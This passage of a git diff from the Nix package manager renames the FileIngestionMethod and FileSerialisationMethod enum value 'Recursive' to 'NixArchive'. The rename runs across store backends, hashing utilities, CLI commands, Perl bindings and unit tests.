                     throw Error("unsupported FileIngestionMethod with value of %i; you may need to upgrade nix-daemon", recursive);
                 method = FileIngestionMethod { recursive };
                 /* Compatibility hack. */
                 if (!fixed) {
                     hashAlgoRaw = "sha256";
-                    method = FileIngestionMethod::Recursive;
+                    method = FileIngestionMethod::NixArchive;
                 }
                 hashAlgo = parseHashAlgo(hashAlgoRaw);
             }
@@ -468,7 +468,7 @@ static void performOp(TunnelLogger * logger, ref<Store> store,
             });
             logger->startWork();
             auto path = store->addToStoreFromDump(
-                *dumpSource, baseName, FileSerialisationMethod::Recursive, method, hashAlgo);
+                *dumpSource, baseName, FileSerialisationMethod::NixArchive, method, hashAlgo);
             logger->stopWork();
 
             to << store->printStorePath(path);
diff --git a/src/libstore/dummy-store.cc b/src/libstore/dummy-store.cc
index 0d5d03091d4..17ebaace6a8 100644
--- a/src/libstore/dummy-store.cc
+++ b/src/libstore/dummy-store.cc
@@ -64,8 +64,8 @@ struct DummyStore : public virtual DummyStoreConfig, public virtual Store
     virtual StorePath addToStoreFromDump(
         Source & dump,
         std::string_view name,
-        FileSerialisationMethod dumpMethod = FileSerialisationMethod::Recursive,
-        ContentAddressMethod hashMethod = FileIngestionMethod::Recursive,
+        FileSerialisationMethod dumpMethod = FileSerialisationMethod::NixArchive,
+        ContentAddressMethod hashMethod = FileIngestionMethod::NixArchive,
         HashAlgorithm hashAlgo = HashAlgorithm::SHA256,
         const StorePathSet & references = StorePathSet(),
         RepairFlag repair = NoRepair) override
diff --git a/src/libstore/legacy-ssh-store.hh b/src/libstore/legacy-ssh-store.hh
index b683ed58057..db49188ec9d 100644
--- a/src/libstore/legacy-ssh-store.hh
+++ b/src/libstore/legacy-ssh-store.hh
@@ -76,8 +76,8 @@ struct LegacySSHStore : public virtual LegacySSHStoreConfig, public virtual Stor
     virtual StorePath addToStoreFromDump(
         Source & dump,
         std::string_view name,
-        FileSerialisationMethod dumpMethod = FileSerialisationMethod::Recursive,
-        ContentAddressMethod hashMethod = FileIngestionMethod::Recursive,
+        FileSerialisationMethod dumpMethod = FileSerialisationMethod::NixArchive,
+        ContentAddressMethod hashMethod = FileIngestionMethod::NixArchive,
         HashAlgorithm hashAlgo = HashAlgorithm::SHA256,
         const StorePathSet & references = StorePathSet(),
         RepairFlag repair = NoRepair) override
diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc
index 676a035fa16..07ace70d0ef 100644
--- a/src/libstore/local-store.cc
+++ b/src/libstore/local-store.cc
@@ -1155,7 +1155,7 @@ void LocalStore::addToStore(const ValidPathInfo & info, Source & source,
                     auto fim = specified.method.getFileIngestionMethod();
                     switch (fim) {
                     case FileIngestionMethod::Flat:
-                    case FileIngestionMethod::Recursive:
+                    case FileIngestionMethod::NixArchive:
                     {
                         HashModuloSink caSink {
                             specified.hash.algo,
@@ -1314,7 +1314,7 @@ StorePath LocalStore::addToStoreFromDump(
                 auto fim = hashMethod.getFileIngestionMethod();
                 switch (fim) {
                 case FileIngestionMethod::Flat:
-                case FileIngestionMethod::Recursive:
+                case FileIngestionMethod::NixArchive:
                     restorePath(realPath, dumpSource, (FileSerialisationMethod) fim);
                     break;
                 case FileIngestionMethod::Git:
@@ -1330,7 +1330,7 @@ StorePath LocalStore::addToStoreFromDump(
             /* For computing the nar hash. In recursive SHA-256 mode, this
                is the same as the store hash, so no need to do it again. */
             auto narHash = std::pair { dumpHash, size };
-            if (dumpMethod != FileSerialisationMethod::Recursive || hashAlgo != HashAlgorithm::SHA256) {
+            if (dumpMethod != FileSerialisationMethod::NixArchive || hashAlgo != HashAlgorithm::SHA256) {
                 HashSink narSink { HashAlgorithm::SHA256 };
                 dumpPath(realPath, narSink);
                 narHash = narSink.finish();
@@ -1423,7 +1423,7 @@ bool LocalStore::verifyStore(bool checkContents, RepairFlag repair)
             PosixSourceAccessor accessor;
             std::string hash = hashPath(
                 PosixSourceAccessor::createAtRoot(link.path()),
-                FileIngestionMethod::Recursive, HashAlgorithm::SHA256).first.to_string(HashFormat::Nix32, false);
+                FileIngestionMethod::NixArchive, HashAlgorithm::SHA256).first.to_string(HashFormat::Nix32, false);
             if (hash != name.string()) {
                 printError("link '%s' was modified! expected hash '%s', got '%s'",
                     link.path(), name, hash);
diff --git a/src/libstore/make-content-addressed.cc b/src/libstore/make-content-addressed.cc
index 170fe67b92b..a3130d7cc02 100644
--- a/src/libstore/make-content-addressed.cc
+++ b/src/libstore/make-content-addressed.cc
@@ -52,7 +52,7 @@ std::map<StorePath, StorePath> makeContentAddressed(
             dstStore,
             path.name(),
             FixedOutputInfo {
-                .method = FileIngestionMethod::Recursive,
+                .method = FileIngestionMethod::NixArchive,
                 .hash = narModuloHash,
                 .references = std::move(refs),
             },
diff --git a/src/libstore/optimise-store.cc b/src/libstore/optimise-store.cc
index e9b6d2d508b..9d903f21869 100644
--- a/src/libstore/optimise-store.cc
+++ b/src/libstore/optimise-store.cc
@@ -151,7 +151,7 @@ void LocalStore::optimisePath_(Activity * act, OptimiseStats & stats,
     Hash hash = ({
         hashPath(
             {make_ref<PosixSourceAccessor>(), CanonPath(path)},
-            FileSerialisationMethod::Recursive, HashAlgorithm::SHA256).first;
+            FileSerialisationMethod::NixArchive, HashAlgorithm::SHA256).first;
     });
     debug("'%1%' has hash '%2%'", path, hash.to_string(HashFormat::Nix32, true));
 
@@ -165,7 +165,7 @@ void LocalStore::optimisePath_(Activity * act, OptimiseStats & stats,
             || (repair && hash != ({
                 hashPath(
                     PosixSourceAccessor::createAtRoot(linkPath),
-                    FileSerialisationMethod::Recursive, HashAlgorithm::SHA256).first;
+                    FileSerialisationMethod::NixArchive, HashAlgorithm::SHA256).first;
            })))
         {
             // XXX: Consider overwriting linkPath with our valid version.
diff --git a/src/libstore/remote-store.cc b/src/libstore/remote-store.cc
index d6efc14f90d..9adad9c2abf 100644
--- a/src/libstore/remote-store.cc
+++ b/src/libstore/remote-store.cc
@@ -406,8 +406,8 @@ ref<const ValidPathInfo> RemoteStore::addCAToStore(
                 conn->to
                     << WorkerProto::Op::AddToStore
                     << name
-                    << ((hashAlgo == HashAlgorithm::SHA256 && fim == FileIngestionMethod::Recursive) ? 0 : 1) /* backwards compatibility hack */
-                    << (fim == FileIngestionMethod::Recursive ? 1 : 0)
+                    << ((hashAlgo == HashAlgorithm::SHA256 && fim == FileIngestionMethod::NixArchive) ? 0 : 1) /* backwards compatibility hack */
+                    << (fim == FileIngestionMethod::NixArchive ? 1 : 0)
                     << printHashAlgo(hashAlgo);
 
                 try {
@@ -415,7 +415,7 @@ ref<const ValidPathInfo> RemoteStore::addCAToStore(
                     connections->incCapacity();
                     {
                         Finally cleanup([&]() { connections->decCapacity(); });
-                        if (fim == FileIngestionMethod::Recursive) {
+                        if (fim == FileIngestionMethod::NixArchive) {
                             dump.drainInto(conn->to);
                         } else {
                             std::string contents = dump.drain();
@@ -457,12 +457,12 @@ StorePath RemoteStore::addToStoreFromDump(
     case FileIngestionMethod::Flat:
         fsm = FileSerialisationMethod::Flat;
         break;
-    case FileIngestionMethod::Recursive:
-        fsm = FileSerialisationMethod::Recursive;
+    case FileIngestionMethod::NixArchive:
+        fsm = FileSerialisationMethod::NixArchive;
         break;
     case FileIngestionMethod::Git:
         // Use NAR; Git is not a serialization method
-        fsm = FileSerialisationMethod::Recursive;
+        fsm = FileSerialisationMethod::NixArchive;
         break;
     default:
         assert(false);
diff --git a/src/libstore/remote-store.hh b/src/libstore/remote-store.hh
index d630adc08b7..4e18962683d 100644
--- a/src/libstore/remote-store.hh
+++ b/src/libstore/remote-store.hh
@@ -87,8 +87,8 @@ public:
     StorePath addToStoreFromDump(
         Source & dump,
         std::string_view name,
-        FileSerialisationMethod dumpMethod = FileSerialisationMethod::Recursive,
-        ContentAddressMethod hashMethod = FileIngestionMethod::Recursive,
+        FileSerialisationMethod dumpMethod = FileSerialisationMethod::NixArchive,
+        ContentAddressMethod hashMethod = FileIngestionMethod::NixArchive,
         HashAlgorithm hashAlgo = HashAlgorithm::SHA256,
         const StorePathSet & references = StorePathSet(),
         RepairFlag repair = NoRepair) override;
diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc
index 2edb56510cc..8c957ff1aad 100644
--- a/src/libstore/store-api.cc
+++ b/src/libstore/store-api.cc
@@ -122,7 +122,7 @@ StorePath StoreDirConfig::makeFixedOutputPath(std::string_view name, const Fixed
     if (info.method == FileIngestionMethod::Git && info.hash.algo != HashAlgorithm::SHA1)
         throw Error("Git file ingestion must use SHA-1 hash");
 
-    if (info.hash.algo == HashAlgorithm::SHA256 && info.method == FileIngestionMethod::Recursive) {
+    if (info.hash.algo == HashAlgorithm::SHA256 && info.method == FileIngestionMethod::NixArchive) {
         return makeStorePath(makeType(*this, "source", info.references), info.hash, name);
     } else {
         if (!info.references.empty()) {
@@ -200,12 +200,12 @@ StorePath Store::addToStore(
     case FileIngestionMethod::Flat:
         fsm = FileSerialisationMethod::Flat;
         break;
-    case FileIngestionMethod::Recursive:
-        fsm = FileSerialisationMethod::Recursive;
+    case FileIngestionMethod::NixArchive:
+        fsm = FileSerialisationMethod::NixArchive;
         break;
     case FileIngestionMethod::Git:
         // Use NAR; Git is not a serialization method
-        fsm = FileSerialisationMethod::Recursive;
+        fsm = FileSerialisationMethod::NixArchive;
         break;
     }
     auto source = sinkToSource([&](Sink & sink) {
@@ -356,7 +356,7 @@ ValidPathInfo Store::addToStoreSlow(
     RegularFileSink fileSink { caHashSink };
     TeeSink unusualHashTee { narHashSink, caHashSink };
 
-    auto & narSink = method == FileIngestionMethod::Recursive && hashAlgo != HashAlgorithm::SHA256
+    auto & narSink = method == FileIngestionMethod::NixArchive && hashAlgo != HashAlgorithm::SHA256
         ? static_cast<Sink &>(unusualHashTee)
         : narHashSink;
 
@@ -384,7 +384,7 @@ ValidPathInfo Store::addToStoreSlow(
        finish. */
     auto [narHash, narSize] = narHashSink.finish();
 
-    auto hash = method == FileIngestionMethod::Recursive && hashAlgo == HashAlgorithm::SHA256
+    auto hash = method == FileIngestionMethod::NixArchive && hashAlgo == HashAlgorithm::SHA256
         ? narHash
         : method == FileIngestionMethod::Git
         ? git::dumpHash(hashAlgo, srcPath).hash
diff --git a/src/libstore/store-api.hh b/src/libstore/store-api.hh
index 15712458c12..e719f9bf96a 100644
--- a/src/libstore/store-api.hh
+++ b/src/libstore/store-api.hh
@@ -441,7 +441,7 @@ public:
     virtual StorePath addToStore(
         std::string_view name,
         const SourcePath & path,
-        ContentAddressMethod method = FileIngestionMethod::Recursive,
+        ContentAddressMethod method = FileIngestionMethod::NixArchive,
         HashAlgorithm hashAlgo = HashAlgorithm::SHA256,
         const StorePathSet & references = StorePathSet(),
         PathFilter & filter = defaultPathFilter,
@@ -455,7 +455,7 @@ public:
     ValidPathInfo addToStoreSlow(
         std::string_view name,
         const SourcePath & path,
-        ContentAddressMethod method = FileIngestionMethod::Recursive,
+        ContentAddressMethod method = FileIngestionMethod::NixArchive,
         HashAlgorithm hashAlgo = HashAlgorithm::SHA256,
         const StorePathSet & references = StorePathSet(),
         std::optional<Hash> expectedCAHash = {});
@@ -470,7 +470,7 @@ public:
      *
      * @param dumpMethod What serialisation format is `dump`, i.e. how
      * to deserialize it. Must either match hashMethod or be
-     * `FileSerialisationMethod::Recursive`.
+     * `FileSerialisationMethod::NixArchive`.
      *
      * @param hashMethod How content addressing? Need not match be the
      * same as `dumpMethod`.
@@ -480,8 +480,8 @@ public:
     virtual StorePath addToStoreFromDump(
         Source & dump,
         std::string_view name,
-        FileSerialisationMethod dumpMethod = FileSerialisationMethod::Recursive,
-        ContentAddressMethod hashMethod = FileIngestionMethod::Recursive,
+        FileSerialisationMethod dumpMethod = FileSerialisationMethod::NixArchive,
+        ContentAddressMethod hashMethod = FileIngestionMethod::NixArchive,
         HashAlgorithm hashAlgo = HashAlgorithm::SHA256,
         const StorePathSet & references = StorePathSet(),
         RepairFlag repair = NoRepair) = 0;
diff --git a/src/libstore/store-dir-config.hh b/src/libstore/store-dir-config.hh
index 643f8854dd0..fe86ce40d18 100644
--- a/src/libstore/store-dir-config.hh
+++ b/src/libstore/store-dir-config.hh
@@ -97,7 +97,7 @@ struct StoreDirConfig : public Config
     std::pair<StorePath, Hash> computeStorePath(
         std::string_view name,
         const SourcePath & path,
-        ContentAddressMethod method = FileIngestionMethod::Recursive,
+        ContentAddressMethod method = FileIngestionMethod::NixArchive,
         HashAlgorithm hashAlgo = HashAlgorithm::SHA256,
         const StorePathSet & references = {},
         PathFilter & filter = defaultPathFilter) const;
diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc
index 95df0fdeee2..ab461d428df 100644
--- a/src/libstore/unix/build/local-derivation-goal.cc
+++ b/src/libstore/unix/build/local-derivation-goal.cc
@@ -2489,7 +2489,7 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
                 auto fim = outputHash.method.getFileIngestionMethod();
                 switch (fim) {
                 case FileIngestionMethod::Flat:
-                case FileIngestionMethod::Recursive:
+                case FileIngestionMethod::NixArchive:
                 {
                     HashModuloSink caSink { outputHash.hashAlgo, oldHashPart };
                     auto fim = outputHash.method.getFileIngestionMethod();
@@ -2531,7 +2531,7 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
             {
                 HashResult narHashAndSize = hashPath(
                     {getFSSourceAccessor(), CanonPath(actualPath)},
-                    FileSerialisationMethod::Recursive, HashAlgorithm::SHA256);
+                    FileSerialisationMethod::NixArchive, HashAlgorithm::SHA256);
                 newInfo0.narHash = narHashAndSize.first;
                 newInfo0.narSize = narHashAndSize.second;
             }
@@ -2554,7 +2554,7 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
                 rewriteOutput(outputRewrites);
                 HashResult narHashAndSize = hashPath(
                     {getFSSourceAccessor(), CanonPath(actualPath)},
-                    FileSerialisationMethod::Recursive, HashAlgorithm::SHA256);
+                    FileSerialisationMethod::NixArchive, HashAlgorithm::SHA256);
                 ValidPathInfo newInfo0 { requiredFinalPath, narHashAndSize.first };
                 newInfo0.narSize = narHashAndSize.second;
                 auto refs = rewriteRefs();
diff --git a/src/libutil/file-content-address.cc b/src/libutil/file-content-address.cc
index 8b1e3117aae..438dac7daa6 100644
--- a/src/libutil/file-content-address.cc
+++ b/src/libutil/file-content-address.cc
@@ -10,7 +10,7 @@ static std::optional<FileSerialisationMethod> parseFileSerialisationMethodOpt(st
     if (input == "flat") {
         return FileSerialisationMethod::Flat;
     } else if (input == "nar") {
-        return FileSerialisationMethod::Recursive;
+        return FileSerialisationMethod::NixArchive;
     } else {
         return std::nullopt;
     }
@@ -45,7 +45,7 @@ std::string_view renderFileSerialisationMethod(FileSerialisationMethod method)
     switch (method) {
     case FileSerialisationMethod::Flat:
         return "flat";
-    case FileSerialisationMethod::Recursive:
+    case FileSerialisationMethod::NixArchive:
         return "nar";
     default:
         assert(false);
@@ -57,7 +57,7 @@ std::string_view renderFileIngestionMethod(FileIngestionMethod method)
 {
     switch (method) {
     case FileIngestionMethod::Flat:
-    case FileIngestionMethod::Recursive:
+    case FileIngestionMethod::NixArchive:
         return renderFileSerialisationMethod(
             static_cast<FileSerialisationMethod>(method));
     case FileIngestionMethod::Git:
@@ -78,7 +78,7 @@ void dumpPath(
     case FileSerialisationMethod::Flat:
         path.readFile(sink);
         break;
-    case FileSerialisationMethod::Recursive:
+    case FileSerialisationMethod::NixArchive:
         path.dumpPath(sink, filter);
         break;
     }
@@ -94,7 +94,7 @@ void restorePath(
     case FileSerialisationMethod::Flat:
         writeFile(path, source);
         break;
-    case FileSerialisationMethod::Recursive:
+    case FileSerialisationMethod::NixArchive:
         restorePath(path, source);
         break;
     }
@@ -119,7 +119,7 @@ std::pair<Hash, std::optional<uint64_t>> hashPath(
 {
     switch (method) {
     case FileIngestionMethod::Flat:
-    case FileIngestionMethod::Recursive: {
+    case FileIngestionMethod::NixArchive: {
         auto res = hashPath(path, (FileSerialisationMethod) method, ht, filter);
         return {res.first, {res.second}};
     }
diff --git a/src/libutil/file-content-address.hh b/src/libutil/file-content-address.hh
index e216ee4a751..f3f5589de89 100644
--- a/src/libutil/file-content-address.hh
+++ b/src/libutil/file-content-address.hh
@@ -35,14 +35,14 @@ enum struct FileSerialisationMethod : uint8_t {
      * See `file-system-object/content-address.md#serial-nix-archive` in
      * the manual.
      */
-    Recursive,
+    NixArchive,
 };
 
 /**
  * Parse a `FileSerialisationMethod` by name. Choice of:
  *
  *  - `flat`: `FileSerialisationMethod::Flat`
- *  - `nar`: `FileSerialisationMethod::Recursive`
+ *  - `nar`: `FileSerialisationMethod::NixArchive`
  *
  * Opposite of `renderFileSerialisationMethod`.
  */
@@ -107,12 +107,12 @@ enum struct FileIngestionMethod : uint8_t {
     Flat,
 
     /**
-     * Hash `FileSerialisationMethod::Recursive` serialisation.
+     * Hash `FileSerialisationMethod::NixArchive` serialisation.
      *
      * See `file-system-object/content-address.md#serial-flat` in the
      * manual.
      */
-    Recursive,
+    NixArchive,
 
     /**
      * Git hashing.
@@ -127,7 +127,7 @@ enum struct FileIngestionMethod : uint8_t {
  * Parse a `FileIngestionMethod` by name. Choice of:
  *
  *  - `flat`: `FileIngestionMethod::Flat`
- *  - `nar`: `FileIngestionMethod::Recursive`
+ *  - `nar`: `FileIngestionMethod::NixArchive`
  *  - `git`: `FileIngestionMethod::Git`
  *
  * Opposite of `renderFileIngestionMethod`.
diff --git a/src/nix-store/nix-store.cc b/src/nix-store/nix-store.cc
index 6d028e0a76e..178702f9123 100644
--- a/src/nix-store/nix-store.cc
+++ b/src/nix-store/nix-store.cc
@@ -197,7 +197,7 @@ static void opAddFixed(Strings opFlags, Strings opArgs)
     auto method = FileIngestionMethod::Flat;
 
     for (auto & i : opFlags)
-        if (i == "--recursive") method = FileIngestionMethod::Recursive;
+        if (i == "--recursive") method = FileIngestionMethod::NixArchive;
         else throw UsageError("unknown flag '%1%'", i);
 
     if (opArgs.empty())
@@ -223,7 +223,7 @@ static void opPrintFixedPath(Strings opFlags, Strings opArgs)
     auto method = FileIngestionMethod::Flat;
 
     for (auto i : opFlags)
-        if (i == "--recursive") method = FileIngestionMethod::Recursive;
+        if (i == "--recursive") method = FileIngestionMethod::NixArchive;
         else throw UsageError("unknown flag '%1%'", i);
 
     if (opArgs.size() != 3)
@@ -563,7 +563,7 @@ static void registerValidity(bool reregister, bool hashGiven, bool canonicalise)
             if (!hashGiven) {
                 HashResult hash = hashPath(
                     {store->getFSAccessor(false), CanonPath { store->printStorePath(info->path) }},
-                    FileSerialisationMethod::Recursive, HashAlgorithm::SHA256);
+                    FileSerialisationMethod::NixArchive, HashAlgorithm::SHA256);
                 info->narHash = hash.first;
                 info->narSize = hash.second;
             }
diff --git a/src/nix/add-to-store.cc b/src/nix/add-to-store.cc
index af674337525..ed46254f329 100644
--- a/src/nix/add-to-store.cc
+++ b/src/nix/add-to-store.cc
@@ -12,7 +12,7 @@ struct CmdAddToStore : MixDryRun, StoreCommand
 {
     Path path;
     std::optional<std::string> namePart;
-    ContentAddressMethod caMethod = FileIngestionMethod::Recursive;
+    ContentAddressMethod caMethod = FileIngestionMethod::NixArchive;
     HashAlgorithm hashAlgo = HashAlgorithm::SHA256;
 
     CmdAddToStore()
diff --git a/src/nix/hash.cc b/src/nix/hash.cc
index f57b224d278..62266fda15a 100644
--- a/src/nix/hash.cc
+++ b/src/nix/hash.cc
@@ -68,7 +68,7 @@ struct CmdHashBase : Command
         switch (mode) {
         case FileIngestionMethod::Flat:
             return "print cryptographic hash of a regular file";
-        case FileIngestionMethod::Recursive:
+        case FileIngestionMethod::NixArchive:
             return "print cryptographic hash of the NAR serialisation of a path";
         case FileIngestionMethod::Git:
             return "print cryptographic hash of the Git serialisation of a path";
@@ -91,7 +91,7 @@ struct CmdHashBase : Command
             Hash h { HashAlgorithm::SHA256 }; // throwaway def to appease C++
             switch (mode) {
             case FileIngestionMethod::Flat:
-            case FileIngestionMethod::Recursive:
+            case FileIngestionMethod::NixArchive:
             {
                 auto hashSink = makeSink();
                 dumpPath(path2, *hashSink, (FileSerialisationMethod) mode);
@@ -126,7 +126,7 @@ struct CmdHashBase : Command
 struct CmdHashPath : CmdHashBase
 {
     CmdHashPath()
-        : CmdHashBase(FileIngestionMethod::Recursive)
+        : CmdHashBase(FileIngestionMethod::NixArchive)
     {
         addFlag(flag::hashAlgo("algo", &hashAlgo));
         addFlag(flag::fileIngestionMethod(&mode));
@@ -311,7 +311,7 @@ static int compatNixHash(int argc, char * * argv)
     });
 
     if (op == opHash) {
-        CmdHashBase cmd(flat ? FileIngestionMethod::Flat : FileIngestionMethod::Recursive);
+        CmdHashBase cmd(flat ? FileIngestionMethod::Flat : FileIngestionMethod::NixArchive);
         if (!hashAlgo.has_value()) hashAlgo = HashAlgorithm::MD5;
         cmd.hashAlgo = hashAlgo.value();
         cmd.hashFormat = hashFormat;
diff --git a/src/nix/prefetch.cc b/src/nix/prefetch.cc
index 3ce52acc563..1439355725f 100644
--- a/src/nix/prefetch.cc
+++ b/src/nix/prefetch.cc
@@ -57,7 +57,7 @@ std::tuple<StorePath, Hash> prefetchFile(
         bool unpack,
         bool executable)
 {
-    auto ingestionMethod = unpack || executable ? FileIngestionMethod::Recursive : FileIngestionMethod::Flat;
+    auto ingestionMethod = unpack || executable ? FileIngestionMethod::NixArchive : FileIngestionMethod::Flat;
 
     /* Figure out a name in the Nix store. */
     if (!name) {
diff --git a/src/nix/profile.cc b/src/nix/profile.cc
index a5a40e4f66c..c89b8c9bde6 100644
--- a/src/nix/profile.cc
+++ b/src/nix/profile.cc
@@ -258,7 +258,7 @@ struct ProfileManifest
             *store,
             "profile",
             FixedOutputInfo {
-                .method = FileIngestionMethod::Recursive,
+                .method = FileIngestionMethod::NixArchive,
                 .hash = narHash,
                 .references = {
                     .others = std::move(references),
diff --git a/src/perl/lib/Nix/Store.xs b/src/perl/lib/Nix/Store.xs
index 15eb5c4f849..e8e209d977a 100644
--- a/src/perl/lib/Nix/Store.xs
+++ b/src/perl/lib/Nix/Store.xs
@@ -259,7 +259,7 @@ hashPath(char * algo, int base32, char * path)
         try {
             Hash h = hashPath(
                 PosixSourceAccessor::createAtRoot(path),
-                FileIngestionMethod::Recursive, parseHashAlgo(algo)).first;
+                FileIngestionMethod::NixArchive, parseHashAlgo(algo)).first;
             auto s = h.to_string(base32 ? HashFormat::Nix32 : HashFormat::Base16, false);
             XPUSHs(sv_2mortal(newSVpv(s.c_str(), 0)));
         } catch (Error & e) {
@@ -335,7 +335,7 @@ SV *
 StoreWrapper::addToStore(char * srcPath, int recursive, char * algo)
     PPCODE:
         try {
-            auto method = recursive ? FileIngestionMethod::Recursive : FileIngestionMethod::Flat;
+            auto method = recursive ? FileIngestionMethod::NixArchive : FileIngestionMethod::Flat;
             auto path = THIS->store->addToStore(
                 std::string(baseNameOf(srcPath)),
                 PosixSourceAccessor::createAtRoot(srcPath),
@@ -351,7 +351,7 @@ StoreWrapper::makeFixedOutputPath(int recursive, char * algo, char * hash, char
     PPCODE:
         try {
             auto h = Hash::parseAny(hash, parseHashAlgo(algo));
-            auto method = recursive ? FileIngestionMethod::Recursive : FileIngestionMethod::Flat;
+            auto method = recursive ? FileIngestionMethod::NixArchive : FileIngestionMethod::Flat;
             auto path = THIS->store->makeFixedOutputPath(name, FixedOutputInfo {
                 .method = method,
                 .hash = h,
diff --git a/tests/unit/libstore/common-protocol.cc b/tests/unit/libstore/common-protocol.cc
index d23805fc368..2c629b6012a 100644
--- a/tests/unit/libstore/common-protocol.cc
+++ b/tests/unit/libstore/common-protocol.cc
@@ -91,7 +91,7 @@ CHARACTERIZATION_TEST(
             .hash = hashString(HashAlgorithm::SHA1, "blob blob..."),
         },
         ContentAddress {
-            .method = FileIngestionMethod::Recursive,
+            .method = FileIngestionMethod::NixArchive,
             .hash = hashString(HashAlgorithm::SHA256, "(...)"),
         },
     }))
diff --git a/tests/unit/libstore/content-address.cc b/tests/unit/libstore/content-address.cc
index cc1c7fcc69d..f0806bd9ac0 100644
--- a/tests/unit/libstore/content-address.cc
+++ b/tests/unit/libstore/content-address.cc
@@ -12,7 +12,7 @@ TEST(ContentAddressMethod, testRoundTripPrintParse_1) {
     for (const ContentAddressMethod & cam : {
         ContentAddressMethod { TextIngestionMethod {} },
         ContentAddressMethod { FileIngestionMethod::Flat },
-        ContentAddressMethod { FileIngestionMethod::Recursive },
+        ContentAddressMethod { FileIngestionMethod::NixArchive },
         ContentAddressMethod { FileIngestionMethod::Git },
     }) {
         EXPECT_EQ(ContentAddressMethod::parse(cam.render()), cam);
diff --git a/tests/unit/libstore/derivation.cc b/tests/unit/libstore/derivation.cc
index 7a4b1403aca..21081313762 100644
--- a/tests/unit/libstore/derivation.cc
+++ b/tests/unit/libstore/derivation.cc
@@ -117,7 +117,7 @@ TEST_JSON(DerivationTest, caFixedFlat,
 TEST_JSON(DerivationTest, caFixedNAR,
     (DerivationOutput::CAFixed {
         .ca = {
-            .method = FileIngestionMethod::Recursive,
+            .method = FileIngestionMethod::NixArchive,
             .hash = Hash::parseAnyPrefixed("sha256-iUUXyRY8iW7DGirb0zwGgf1fRbLA7wimTJKgP7l/OQ8="),
         },
     }),
@@ -133,7 +133,7 @@ TEST_JSON(DynDerivationTest, caFixedText,
 
 TEST_JSON(CaDerivationTest, caFloating,
     (DerivationOutput::CAFloating {
-        .method = FileIngestionMethod::Recursive,
+        .method = FileIngestionMethod::NixArchive,
         .hashAlgo = HashAlgorithm::SHA256,
     }),
     "drv-name", "output-name")
@@ -144,7 +144,7 @@ TEST_JSON(DerivationTest, deferred,
 
 TEST_JSON(ImpureDerivationTest, impure,
     (DerivationOutput::Impure {
-        .method = FileIngestionMethod::Recursive,
+        .method = FileIngestionMethod::NixArchive,
         .hashAlgo = HashAlgorithm::SHA256,
     }),
     "drv-name", "output-name")
diff --git a/tests/unit/libstore/nar-info.cc b/tests/unit/libstore/nar-info.cc
index bd10602e73e..a6cb62de4ac 100644
--- a/tests/unit/libstore/nar-info.cc
+++ b/tests/unit/libstore/nar-info.cc
@@ -25,7 +25,7 @@ static NarInfo makeNarInfo(const Store & store, bool includeImpureInfo) {
         store,
         "foo",
         FixedOutputInfo {
-            .method = FileIngestionMethod::Recursive,
+            .method = FileIngestionMethod::NixArchive,
             .hash = hashString(HashAlgorithm::SHA256, "(...)"),
 
             .references = {
diff --git a/tests/unit/libstore/path-info.cc b/tests/unit/libstore/path-info.cc
index 06c662b74bc..7637cb366aa 100644
--- a/tests/unit/libstore/path-info.cc
+++ b/tests/unit/libstore/path-info.cc
@@ -32,7 +32,7 @@ static UnkeyedValidPathInfo makeFull(const Store & store, bool includeImpureInfo
         store,
         "foo",
         FixedOutputInfo {
-            .method = FileIngestionMethod::Recursive,
+            .method = FileIngestionMethod::NixArchive,
             .hash = hashString(HashAlgorithm::SHA256, "(...)"),
 
             .references = {
diff --git a/tests/unit/libstore/serve-protocol.cc b/tests/unit/libstore/serve-protocol.cc
index ebf0c52b0c8..17d7153bb60 100644
--- a/tests/unit/libstore/serve-protocol.cc
+++ b/tests/unit/libstore/serve-protocol.cc
@@ -63,7 +63,7 @@ VERSIONED_CHARACTERIZATION_TEST(
             .hash = hashString(HashAlgorithm::SHA1, "blob blob..."),
         },
         ContentAddress {
-            .method = FileIngestionMethod::Recursive,
+            .method = FileIngestionMethod::NixArchive,
             .hash = hashString(HashAlgorithm::SHA256, "(...)"),
         },
     }))
@@ -280,7 +280,7 @@ VERSIONED_CHARACTERIZATION_TEST(
                 *LibStoreTest::store,
                 "foo",
                 FixedOutputInfo {
-                    .method = FileIngestionMethod::Recursive,
+                    .method = FileIngestionMethod::NixArchive,
                     .hash = hashString(HashAlgorithm::SHA256, "(...)"),
                     .references = {
                         .others = {
diff --git a/tests/unit/libstore/worker-protocol.cc b/tests/unit/libstore/worker-protocol.cc
index 70e03a8abce..8d81717c926 100644
--- a/tests/unit/libstore/worker-protocol.cc
+++ b/tests/unit/libstore/worker-protocol.cc
@@ -64,7 +64,7 @@ VERSIONED_CHARACTERIZATION_TEST(
             .hash = hashString(HashAlgorithm::SHA1, "blob blob..."),
         },
         ContentAddress {
-            .method = FileIngestionMethod::Recursive,
+            .method = FileIngestionMethod::NixArchive,
             .hash = hashString(HashAlgorithm::SHA256, "(...)"),
         },
     }))
@@ -512,7 +512,7 @@ VERSIONED_CHARACTERIZATION_TEST(
                 *LibStoreTest::store,
                 "foo",
                 FixedOutputInfo {
-                    .method = FileIngestionMethod::Recursive,
+                    .method = FileIngestionMethod::NixArchive,
                     .hash = hashString(HashAlgorithm::SHA256, "(...)"),
                     .references = {
                         .others = {
diff --git a/tests/unit/libutil/file-content-address.cc b/tests/unit/libutil/file-content-address.cc
index 294e3980683..27d926a8736 100644
--- a/tests/unit/libutil/file-content-address.cc
+++ b/tests/unit/libutil/file-content-address.cc
@@ -11,7 +11,7 @@ namespace nix {
 TEST(FileSerialisationMethod, testRoundTripPrintParse_1) {
     for (const FileSerialisationMethod fim : {
         FileSerialisationMethod::Flat,
-        FileSerialisationMethod::Recursive,
+        FileSerialisationMethod::NixArchive,
     }) {
         EXPECT_EQ(parseFileSerialisationMethod(renderFileSerialisationMethod(fim)), fim);
     }
@@ -37,7 +37,7 @@ TEST(FileSerialisationMethod, testParseFileSerialisationMethodOptException) {
 TEST(FileIngestionMethod, testRoundTripPrintParse_1) {
     for (const FileIngestionMethod fim : {
         FileIngestionMethod::Flat,
-        FileIngestionMethod::Recursive,
+        FileIngestionMethod::NixArchive,
         FileIngestionMethod::Git,
     }) {
         EXPECT_EQ(parseFileIngestionMethod(renderFileIngestionMethod(fim)), fim);

